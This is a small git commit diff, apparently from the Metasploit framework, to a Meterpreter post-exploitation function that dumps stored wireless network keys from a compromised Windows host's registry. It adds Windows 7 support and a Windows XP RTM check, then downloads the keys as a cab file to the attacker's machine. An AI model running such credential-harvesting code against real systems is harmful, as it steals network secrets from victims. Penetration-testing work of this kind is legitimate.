Bug fix for when running against WindowsXP RTM, and now dumps wireless registry key for 7

git-svn-id: file:///home/svn/framework3/trunk@8172 4d416f70-5f16-0410-b530-b9f4589650da
unstable
Carlos Perez 2010-01-20 01:00:05 +00:00
parent 265d73b224
commit 4e5c0f55bf
1 changed files with 7 additions and 2 deletions

View File

@ -526,7 +526,12 @@ def dumpwlankeys(pathoflogs,filename)
trgtos = info['OS']
if trgtos =~ /(XP)/
key = xpwlan
elsif trgtos =~ /(Vista)/
present = false
if reg_enumkeys("HKLM\\Software\\Microsoft\\WZCSVC\\Parameters").length == 0
print_status("\tNo Wireless interfaces are configured on this host!")
return
end
elsif trgtos =~ /(Vista|7)/
key = vswlan
end
begin
@ -554,7 +559,7 @@ def dumpwlankeys(pathoflogs,filename)
begin
print_status("\tDownloading wlan#{filename}.cab to -> #{pathoflogs}/wlan#{filename}.cab")
@client.fs.file.download_file("#{pathoflogs}/wlan#{filename}.cab", "#{windir}\\wlan#{filename}.cab")
sleep(5)
#sleep(5)
rescue ::Exception => e
print_status("Error Downloading Registry keys #{e.class} #{e}")
end